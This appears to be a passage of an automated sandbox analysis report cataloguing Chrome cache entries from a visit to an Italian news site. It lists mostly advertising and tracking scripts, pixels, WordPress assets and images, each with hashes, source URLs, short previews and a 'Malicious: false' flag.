Preview:	/*. ESP - RTBHouse. * @version v1.2.5. * @link https://www.rtbhouse.com/. */.!function(){async function e(){var e=window.localStorage.getItem("rtbhouse-esp"),n=window.localStorage.getItem("rtbhouse-segments"),o=pbjs.getUserIds()?.pubcid;return signal_decrypted={domain:encodeURIComponent(window.location.href)},e&&(signal_decrypted["rtbhouse-esp"]=e),o&&(signal_decrypted.EID=o),"browsingTopics"in document&&document.featurePolicy.allowsFeature("browsing-topics")&&(e=await document.browsingTopics(),signal_decrypted.topics=JSON.stringify(e)),n&&(signal_decrypted.segments=n),document.referrer&&(signal_decrypted.referrer=encodeURIComponent(document.referrer)),async function(e){return(await(await fetch("https://esp.rtbhouse.com/encrypt",{method:"POST",body:JSON.stringify({publisher_id:"rtbhouse",signal:e}),headers:{"Content-Type":"text/plain"}})).json()).message}(signal_decrypted).then(e=>e)}new class{constructor(e){Object.assign(this,e)}send_signal(){window.googletag.secureSignalProviders\|

Chrome Cache Entry: 394

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	https://beacon.lynx.cognitivlabs.com/pbmtc.gif?puid=01F5328A-C4D9-44AD-8468-60A885247C68
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 395

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 396

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	266
Entropy (8bit):	4.487524087565756
Encrypted:	false
SSDEEP:	6:Q+H09E5Kjyww09Ext7AyotEw09EB74H5nHEw09ENwukhAD/i4:QQ09eww09Ct79otEw09yw5HEw09Wwuki
MD5:	27F10BD4BDA175015DD32539C2362C80
SHA1:	5BB22E8080E0ED7B4B988F70ACEF6D2A27D522B1
SHA-256:	8B884E919EF32B65258AC27ACB4189C0DC85807CFA8EC475B54F5A2E7E841BB7
SHA-512:	01A1A2EC80A8D4E3F0D05694E4B3AE201E61A703E2559B68C2F20CFBA75D0196A865729E3CD50AE1D77C31941AA9292858598FCF95965FFB46C6D601F9C94E87
Malicious:	false
Reputation:	low
URL:	https://js.tncid.app/6b634075-ddb2-44fb-ba9e-6183cd8a9dec/tp_scripts.json
Preview:	[. [. "//js.tncid.app/01_adform.js",. "tnc_adform". ],. [. "//js.tncid.app/02_weborama_sync.js",. "tnc_weborama_sync". ],. [. "//js.tncid.app/06_pubmatic.js",. "tnc_pubmatic". ],. [. "//js.tncid.app/09_nielsen.js",. "tnc_nielsen". ].]

Chrome Cache Entry: 397

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://pixel.mathtag.com/misc/img?mop_seq=1:1&mt_cb=968907&check=e37d6605-2f8b-4a00-8c65-7b6f95886a26&mop_top=
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 398

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (824)
Category:	downloaded
Size (bytes):	242619
Entropy (8bit):	5.551781062372678
Encrypted:	false
SSDEEP:	6144:PmqUT0ibS+wTh1d/kln0ZKzeb0LYgRiGpbKZYCTY2AOEblt+FZe/3TjIdu1WU:PmqUT0ibS+wThHMln0ZKib0LYgRiGpbJ
MD5:	40A4CE0C5EBD979DD6734768D5D6F916
SHA1:	E40C4685A7ADE2BD472734194F872656416629F4
SHA-256:	E23DED36D934E3B253037D3300121705C4ECAD7759A0548F3EFBFCF01BE2AEC1
SHA-512:	4E1881F6D602B447D8298A5522C6269FFE6668D7B9910213EC35FD8BBFB3D78AC82860CE5FB58969C40ADEF1227033C82B0D83879A59F97C151BBC9DF907138F
Malicious:	false
Reputation:	low
URL:	https://widgets.outbrain.com/outbrain.js
Preview:	window.OBR\|\|(function(){window.OBR={_jsc:{},"env":2,"settings":{"fraudDetection":"0","disableLocalStorageGdpr":false,"delayWidgetTime":0,"delayWidgetInterval":0,"disableLslGdprEuUsers":false,"enableDebuggingReports":0,"loadingOnGDPRSignal":0,"skipAdblock":0,"_pid":"30351","ab":"1451-5135-5136~100"}};OBR.error=function(a){var d=["www.vanguardngr.com"];if(!0!==a){var b,c=document,h=window.OB_releaseVer,k=OBR&&OBR.env?OBR.env:1,l=a.isMonitorRepeated?"&isMonitorRepeated=true":"",m=a.errorEleUrl?"&errorEleUrl="+encodeURIComponent(a.errorEleUrl):"",n=OBR&&OBR.settings&&(OBR.settings.disableLocalStorageGdpr\|\|1===OBR.settings.disableStorageAndCookies),f=OBR.localStorageAvailable;d=window.location&&window.location.hostname&&-1<d.indexOf(window.location.hostname);if(!c.getElementById("obMntor")&&!d){var g=.function(){b=c.createElement("iframe");b.setAttribute("id","obMntor");b.style.display="none";c.body.appendChild(b);var e="https://widgets.outbrain.com/widgetMonitor/monitor.html?name="+encodeU

Chrome Cache Entry: 399

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_nid=gumgum_dbm&google_hm=dV84NjBkMzBjOC0yZjlkLTQ0MzktYWUxNy1iY2I3YmY2NzE5Nzg=&gdpr=&gdpr_consent=&google_redir=https%3A%2F%2Fusersync.gumgum.com%2Fusersync%3Fb%3Dgdv
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 400

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	402
Entropy (8bit):	4.850637469300643
Encrypted:	false
SSDEEP:	6:YAdiZL+WRSafY5X5gMfAA4m3jvKAmE1bG4CaPtt3PRAD3PUJxaPRU:YqiYWRSafoJfAAJ3jvKAF1bG4vRSUypU
MD5:	39EB042F92CE61B99D9FE1ADE98B4626
SHA1:	8B0F3540FF18572E2000C3176B1AE1193EFCFE65
SHA-256:	1A614BDE5E0314ED82957C65A6B0BC9E3B1C5AB17B9817B40D0FA3884D3748AF
SHA-512:	06C41EC974693AC0897874366885033F050E7B4D58504FD63EE06FC67F1D6DD8B4C63F842BA86EB54D8C72B66FC5DD315F033AEDD6413D277F0E2BB0FA93BA78
Malicious:	false
Reputation:	low
Preview:	{"error":{"code":"request_format_invalid","message":"Required request body is missing: public org.springframework.http.ResponseEntity<io.id5.fetch.request.FetchResponseDto> io.id5.fetch.Fetch2Controller.multiplexFetchV3(io.id5.fetch.request.web.multiplexing.MultiplexingFetchRequestBody,jakarta.servlet.http.HttpServletRequest,jakarta.servlet.http.HttpServletResponse)","type":"invalid_request_error"}}

Chrome Cache Entry: 401

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4186), with no line terminators
Category:	downloaded
Size (bytes):	4186
Entropy (8bit):	4.923675414240059
Encrypted:	false
SSDEEP:	48:wFfAeWkkqEsKO+TBxaBIIj+NqUFQW76d7JrOv2bN:wueWkkrLoI7U
MD5:	EA958276B7DE454BD3C2873F0DC47E5F
SHA1:	B143F6E8E8F79D8F104C26B0057EF5514D763219
SHA-256:	2E10D353FF038C2CAD3492FC17801AF3E6EF2669C9E9713BDB78B1DCB104C4FE
SHA-512:	2D40A1E713355EFF88FA3BBF5471B4DB5ACC48FA2B978A555C034F2E5C7F131FCAF48E849D5D048DF9D5DAE068C4B6467A97B1DDE99115E6B32F57E928569FC1
Malicious:	false
Reputation:	low
URL:	https://c0.wp.com/c/6.4.3/wp-includes/js/mediaelement/wp-mediaelement.min.css
Preview:	.mejs-container{clear:both;max-width:100%}.mejs-container *{font-family:Helvetica,Arial}.mejs-container,.mejs-container .mejs-controls,.mejs-embed,.mejs-embed body{background:#222}.mejs-time{font-weight:400;word-wrap:normal}.mejs-controls a.mejs-horizontal-volume-slider{display:table}.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current,.mejs-controls .mejs-time-rail .mejs-time-loaded{background:#fff}.mejs-controls .mejs-time-rail .mejs-time-current{background:#0073aa}.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total,.mejs-controls .mejs-time-rail .mejs-time-total{background:rgba(255,255,255,.33)}.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-current,.mejs-controls .mejs-horizontal-volume-slider .mejs-horizontal-volume-total,.mejs-controls .mejs-time-rail span{border-radius:0}.mejs-overlay-loading{background:0 0}.mejs-controls button:hover{border:none;-webkit-box-shadow:none;box-shadow:none}.me-cannotplay{width:au

Chrome Cache Entry: 402

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 324x160, components 3
Category:	dropped
Size (bytes):	11691
Entropy (8bit):	7.948119738220883
Encrypted:	false
SSDEEP:	192:uHA42cwisEA/0+SiYbcbxqYS7zsKis1FuPpfjqpPZ7ynq76NmL9nAvW2T:SA4v4oguLi8yfmpPZ7y6amLg9T
MD5:	0295557847510DA32F012C5BBCA5081E
SHA1:	39610F66EB545B9DD6E36B707551D50D03725B80
SHA-256:	26060EF5A839A1C276A9A204892FE5B8525266725B7AAAFC46963A326D3D9175
SHA-512:	3E9B89907EF07FEF8F7EB93C3344D4C805076C719484A2266BD76CF837E45DB8204015BD210DAB96D87405470C9782E985054B2336EA60C23F58ED105DE047F8
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((........D..".............................................................................../z..!0%EY.V..1....M.H......B...qU..k.....Z...m..i..?.NN.c.g7....Z NK..>g.t\|...x.??..Me.V2A..jIt.I...}...P]..A.N...{L.m....RKg.....^..y....G..2..+p.CGPNu,.y8....@.9:]i.....H...#..w"..T..<...4.S..&wW...;..B.xj.;O...8.S..;.S..N.b..I..n.2..4B.<.c.....SR\|.......\x4;l.=...}.e ...{....ok...g..\|X...d:@...8.AX....`4l...(...".}...mm.[6.gX7..o.[.r{...TS...d..U.....E.O[.A...UR^Q.r:9.*.c.}.!..y....{n.v...X[...x1W......ut...KMD...W[s.{qq......z......3....9..xx...%.t:...cKR..'i.&c...E...;..\..p.8...l$.\..";m2./5.....R.;.:....t7...M.y..{)8..6..H...9.BZ........fN.Q.8.......y.!...3..<..5k.........j%..Yv..`,.1m..B.1M.......#.v.Z...sY3"..,%.Y. .-...D...-.f...`w.\9.[X3.Mt.m..]`..H}.........;\|..'..t.. N.........

Chrome Cache Entry: 403

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64616)
Category:	downloaded
Size (bytes):	486159
Entropy (8bit):	5.401050286443112
Encrypted:	false
SSDEEP:	6144:A++D5818Kn17s2ikqmrKOn+Dx31UBVxQz59:H8AHVKOcsVW3
MD5:	4BDF3E453668D33E36A75D4836BB8F8E
SHA1:	D3AEC65DDCBADF3961BE7D6521484AA14B0120FA
SHA-256:	D9FCCCFDCC21367017BBE7DAC7437F7434DE02D957E715AA5F70DFB37ED449EE
SHA-512:	1E93C4C1DB36107063A7B390DF178280764F63B4100767B82C8147D9139FE26E61B5782AEEA9188D5E329ED07E80451E72310B9FF599DB88D94C7BF40044A5BE
Malicious:	false
Reputation:	low
URL:	https://monetize-static.viralize.tv/prebid.min.4bdf3e45.js
Preview:	/* prebid.js v7.54.2.Updated: 2024-02-13.Modules: addefendBidAdapter, adfBidAdapter, adheseBidAdapter, adkernelBidAdapter, appnexusBidAdapter, betweenBidAdapter, consentManagement, consentManagementUsp, criteoBidAdapter, dspxBidAdapter, freewheel-sspBidAdapter, gamoshiBidAdapter, gridBidAdapter, improvedigitalBidAdapter, ixBidAdapter, justpremiumBidAdapter, mgidBidAdapter, onetagBidAdapter, openxBidAdapter, pubCommonId, pubmaticBidAdapter, richaudienceBidAdapter, rubiconBidAdapter, schain, showheroes-bsBidAdapter, smartadserverBidAdapter, smilewantedBidAdapter, sovrnBidAdapter, spotxBidAdapter, tripleliftBidAdapter, yieldlabBidAdapter, yahoosspBidAdapter, nextMillenniumBidAdapter, currency */.if(window.pbjs&&window.pbjs.libLoaded)try{window.pbjs.getConfig("debug")&&console.warn("Attempted to load a copy of Prebid.js that clashes with the existing 'pbjs' instance. Load aborted.")}catch(e){}else (function(){.!function(){var e,n={5706:function(e,n,t){t.d(n,{Pd:function(){return s},Th:func

Chrome Cache Entry: 404

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65504), with no line terminators
Category:	downloaded
Size (bytes):	187416
Entropy (8bit):	5.245089044146766
Encrypted:	false
SSDEEP:	1536:UvH5QWT1QAnjRb0DItek67nOWrbl+tyvuaqmddqiwtRlPDyvSB9TqWDQjNyUcHky:c5QuzRbsIt96TotCub0dqb9qRyY6
MD5:	A84705DC4E55D0FF74CA5E1EDEFBA3DD
SHA1:	4A99A1DDDC3C19AD0DE6791F01F443502C425670
SHA-256:	802E9028483930A2CF1E6CC857183B4404451E72EC9E555845612BACDEEC2490
SHA-512:	73BAC09A4076F95CF47C1A95AFB7111C0E1B6DCD1D98D3982A5A3FC9868240C08D888611D7A998FF4AE2E00A6214BF3BF71C7E36B150A0E7E558C643EAD5CE65
Malicious:	false
Reputation:	low
URL:	https://cdn.pbstck.com/index-monitoring-bbdc39c.js
Preview:	this.monitoring=function(t){var e={};function n(r){if(e[r])return e[r].exports;var o=e[r]={i:r,l:!1,exports:{}};return t[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}return n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:!0,get:r})},n.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var o in t)n.d(r,o,function(e){return t[e]}.bind(null,o));return r},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.p="",n(n.s=509)}([function(t,e,n){"use strict";n.d(e,"b",(function(){return k})),n

Chrome Cache Entry: 405

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1969)
Category:	downloaded
Size (bytes):	401032
Entropy (8bit):	5.530195807609479
Encrypted:	false
SSDEEP:	6144:F7mWImRxF6+hEn+06/vsqQLBuNBcch9J0ZevO:omRj6pm/vsqGE8ch9CZe2
MD5:	715D54553D4D954F2D6F14821306A6AA
SHA1:	911B8C7D8508AC7149E43F9E8816BE426876146D
SHA-256:	21B7F55BE1E224EBB4FC1345FF3BAD5A75592476D979FCEB5E5668F40B81F557
SHA-512:	C75AE8C2001750A27A6565406CF8BE414CBE26212504058C15F703ED582D663CA64227A7E51FD16A08B5109B8E7C7019A1F1F538115BDE0529BEFC5145892DA0
Malicious:	false
Reputation:	low
URL:	https://imasdk.googleapis.com/js/sdkloader/ima3.js
Preview:	// Copyright 2011 Google Inc. All Rights Reserved..(function(){var l,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},ca=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");.},da=ca(this),r=function(a,b){if(b)a:{var c=da;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}};.r("Symbol",function(a){if(a)return a;var b=function(f,g){this.g=f;ba(this,"description",{configurable:!0,writable:!0,value:g})};b.prototype.toString=function(){return this.g};var c="jscomp_sy

Chrome Cache Entry: 406

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	14755
Entropy (8bit):	5.341827285455827
Encrypted:	false
SSDEEP:	384:GtB1V10V6004k0Vl0p0+LjaVoVyVMV6n8xn8ZWkIn8fdYc+1F8Ab4Jjg1:Qef04k0Vl0p0+LjaWga4n8xn8ZWZn8fg
MD5:	B287D5B15AB8D660456D755BD277AB81
SHA1:	B25DF6343F21A7059AD12A686FBFB6D2093502B4
SHA-256:	CCBA3D1769D68FBA427C73C5887D982489E9D8D8DE62634A98BC5C89220250EA
SHA-512:	AAA3C0FE33643F29B8E2FE0ACE8ADBC9CF8919A89C443430BBADFAD06FA9F826B68B41AA21282D616632C67584C98B103B30E1A654313B1154A8A9A52E778E53
Malicious:	false
Reputation:	low
Preview:	{"impression":{"creativity":{"videos":[],"thumbnails":[],"duration":0,"siteloop":{"scenes":[]}},"pricing":{"demand_pay_event":null,"supply_pay_event":null,"content_pay_event":null},"plugins":[],"format":{"code":"thumbstream-autoplay","controller":"overlay","audio":"H","skip_delay":3,"enable_controlbar":false,"full_viewability":false,"full_viewability_content":false,"enable_inplayer_skip":true,"enable_inplayer_branding":true,"activation":"onload"}},"content":{"_id":"c3RhbmRhbG9uZRpujSbK2oF8","name":null,"item_type":"content","creator":null,"metadata":{}},"environment":{"client":{"ip_address":"102.165.48.43","page_url":"https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/","appid":null,"referrer":"AUceGB3iOyU=","ssl":true,"endpoint_host":"ads.viralize.tv","detected_domain":"bsnews.it","device":{"type":"D","family":"Other"},"geo":{"country":"US","state_region":"USDC","city":"Washington","zip_code":"56972"},"user_agent":"Mozilla/5.0 (Windows NT 10.

Chrome Cache Entry: 407

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (13479)
Category:	downloaded
Size (bytes):	13577
Entropy (8bit):	5.272065782731947
Encrypted:	false
SSDEEP:	192:5rprDN+sag6ifKIUpQI99P1tLm9kdgyq1+J3aCJQ+h4MPLORq:5rprxaefKI0LP19m4q1WW+h4Mjp
MD5:	9FFEB32E2D9EFBF8F70CAABDED242267
SHA1:	3AD0C10E501AC2A9BFA18F9CD7E700219B378738
SHA-256:	5274F11E6FB32AE0CF2DFB9F8043272865C397A7C4223B4CFA7D50EA52FBDE89
SHA-512:	8D6BE545508A1C38278B8AD780C3758AE48A25E4E12EEE443375AA56031D9B356F8C90F22D4F251140FA3F65603AF40523165E33CAE2E2D62FC78EC106E3D731
Malicious:	false
Reputation:	low
URL:	https://c0.wp.com/c/6.4.3/wp-includes/js/jquery/jquery-migrate.min.js
Preview:	/! jQuery Migrate v3.4.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /."undefined"==typeof jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],function(e){return t(e,window)}):"object"==typeof module&&module.exports?module.exports=t(require("jquery"),window):t(jQuery,window)}(function(s,n){"use strict";function e(e){return 0<=function(e,t){for(var r=/^(\d+)\.(\d+)\.(\d+)/,n=r.exec(e)\|\|[],o=r.exec(t)\|\|[],a=1;a<=3;a++){if(+o[a]<+n[a])return 1;if(+n[a]<+o[a])return-1}return 0}(s.fn.jquery,e)}s.migrateVersion="3.4.1";var t=Object.create(null);s.migrateDisablePatches=function(){for(var e=0;e<arguments.length;e++)t[arguments[e]]=!0},s.migrateEnablePatches=function(){for(var e=0;e<arguments.length;e++)delete t[arguments[e]]},s.migrateIsPatchEnabled=function(e){return!t[e]},n.console&&n.console.log&&(s&&e("3.0.0")&&!e("5.0.0")\|\|n.console.log("JQMIGRATE: jQuery 3.x-4.x REQUIRED"),s.migrateWarnings

Chrome Cache Entry: 408

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2443), with no line terminators
Category:	downloaded
Size (bytes):	2443
Entropy (8bit):	5.146757621720142
Encrypted:	false
SSDEEP:	48:NLw+Mw6m/ZytR8Wim/yyW04A/tm/yyW04A/rm/5VIm/lNWy1:11Mw6gZeR/igyZ04A/tgyZ04A/rg5VIm
MD5:	41052C90DEFF5A1D55AC8826C7EC7AF2
SHA1:	BE9A53C9E250F821EC0B170D60A6041F03D226F0
SHA-256:	5820BAB8388C31B58A24F1930839B761838E25F2FB62BF01DEFE79682DF91434
SHA-512:	D56FD8785289A2DB32605503356DC153CBC733FE9CE7DB1E8A5C0A4032E3AE4B53293467A74A45F6C04693B99AFABD0818E96F1E1DE90D742DBED0B17158694E
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/td-composer/legacy/Newspaper/js/tdPostImages.js?ver=12.6.5
Preview:	"use strict";jQuery().ready(function(){tdUtil.imageMoveClassToFigure("td-post-image-full");tdUtil.imageMoveClassToFigure("td-post-image-right");tdUtil.imageMoveClassToFigure("td-post-image-left");"undefined"!==typeof window.tds_general_modal_image&&""!==window.tds_general_modal_image&&(jQuery(".single .td-post-content a > img").filter(function(a,b){if(-1!==b.className.indexOf("wp-image")){a=jQuery(b);b=a.parent();var d=b.attr("href"),c=a.attr("src").match(/-\d+[Xx]\d+\./);c?(c=c.pop(),c=a.attr("src").replace(c,".")):c=a.attr("src");d!==c\|\|-1===d.indexOf("uploads")&&-1===d.indexOf("attachment")\|\|(a.addClass("td-modal-image"),-1!==d.indexOf("attachment")&&b.attr("href",a.attr("src")))}}),jQuery(".single .td-post-content p img").filter(function(a,b){if(-1!==b.className.indexOf("wp-image")){a=jQuery(b);b=a.parent().attr("href");var d=a.attr("src"),c=a.attr("src").match(/-\d+[Xx]\d+\./),e=a.parent().children("figcaption").html();c&&(c=c.pop(),d=d.replace(c,"."));void 0!==b&&b!==d\|\|1===a.clo

Chrome Cache Entry: 409

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	113
Entropy (8bit):	4.8748089978446565
Encrypted:	false
SSDEEP:	3:tIsqDmJS4RKb5ykKcvWebvSJWHG3Xg38aqsH5Eg8:tI9mc4sl3WZJAF3ZZh8
MD5:	A0A7F6CF67B863940ECEAA40397E2030
SHA1:	3E9457079C5737F33B7B6482121DA9D6B274624E
SHA-256:	93F28A18A1DF638B539F6BDE99C048A50AD7B8A5643C6966A0546A0C50F7CACE
SHA-512:	D5797616E4B7665CB0FAF0FD7E02676A98C993ECC8BF414B60A6F07429D5F9C1B287007442C41277FE961A24684A7CF48707E50AA8676A0ACB7FCD6DC14E706A
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 36 36"><circle fill="#DD2E44" cx="18" cy="18" r="18"/></svg>

Chrome Cache Entry: 410

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3129), with no line terminators
Category:	downloaded
Size (bytes):	3129
Entropy (8bit):	5.393800395220899
Encrypted:	false
SSDEEP:	96:W8tv8rgI8e8kS8gyZ898N8w8gy8KEnw8wMMR8/:WgvcgIX0NyZ8aBtyWwVR2
MD5:	2E1B7FFCC62314CEF866DF7538ED6D5A
SHA1:	FEE163AC339DA8BBBAD3739D18E03E166745B146
SHA-256:	3DFCE129FB1150FF2151735D00B81767B7CAF620A2CC0DC4E71382FD6FDF4DFC
SHA-512:	C046703637F1E479BBE28BD43B0326DAC270BC6D2D7D251E120ED10B882D651A337C4DA13C7A0430B0B16A899924D5C5657ABB2B8C777ACAE6D1BF519671FA1D
Malicious:	false
Reputation:	low
URL:	https://cs-server-s2s.yellowblue.io/sync-iframe?gdpr=0&gdpr_consent=&us_privacy=${US_PRIVACY}&&redirect=https%3A%2F%2Fads.servenobid.com%2Fsync%3Fpid%3D352%26uid%3D%7BpartnerId%7D
Preview:	<html><head><title></title></head><body><img src="https://image8.pubmatic.com/AdServer/ImgSync?p=160295&gdpr=0&gdpr_consent=&pu=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Faid%3D11576%26id%3D%23PMUID&gdpr=0&gdpr_consent=" style="display:none;"/><img src="https://ssc-cms.33across.com/ps/?ri=0015a00002hdV5tAAE&ru=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Faid%3D11580%26puid%3D33XUSERID33X" style="display:none;"/><img src="https://us-u.openx.net/w/1.0/cm?id=58ceaaf5-c766-4c17-869a-d76e43401714&gdpr=0&gdpr_consent=&r=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Faid%3D11563%26id%3D" style="display:none;"/><iframe src="https://ap.lijit.com/pixel?gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Faid%3D11607%26uid%3D%24UID" style="display:none;"></iframe><img src="https://bh.contextweb.com/bh/rtset?pid=562615&ev=1&us_privacy=[US_PRIVACY]&gdpr=0&gdpr_consent=&rurl=https%3A%2F%2Fcs-server-s2s.yellowblue.io%2Fcs%3Faid%3D11592%26uid%3D%25%25VGUID%25%25" sty

Chrome Cache Entry: 411

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	2816
Entropy (8bit):	5.193393613647466
Encrypted:	false
SSDEEP:	48:dFLe/T9xbM6ANrNObwks/x2aA6ANn+KhmFApQ+5+5AboCOEMHtNu:zLK7sr88/hs+K84QsASq/u
MD5:	F7C311DF2037B4FAEF1F226AE72625D0
SHA1:	1F888D29B1D3795FC7DE39AC3F4A2175873B49FC
SHA-256:	C70AC863C1B755F1D21C714B40396957845D7A64006B2571D86097D403D91B17
SHA-512:	E03F7264F5C2660731D803AC1CAE730366EFA8BAE4BC3B5F153723B10965F8279AB42453DF41D610706C37F61C4960A01DAA869F84ED4397F8F43FEC5318E214
Malicious:	false
Reputation:	low
URL:	https://widgets.wp.com/likes/master.html?ver=20240327
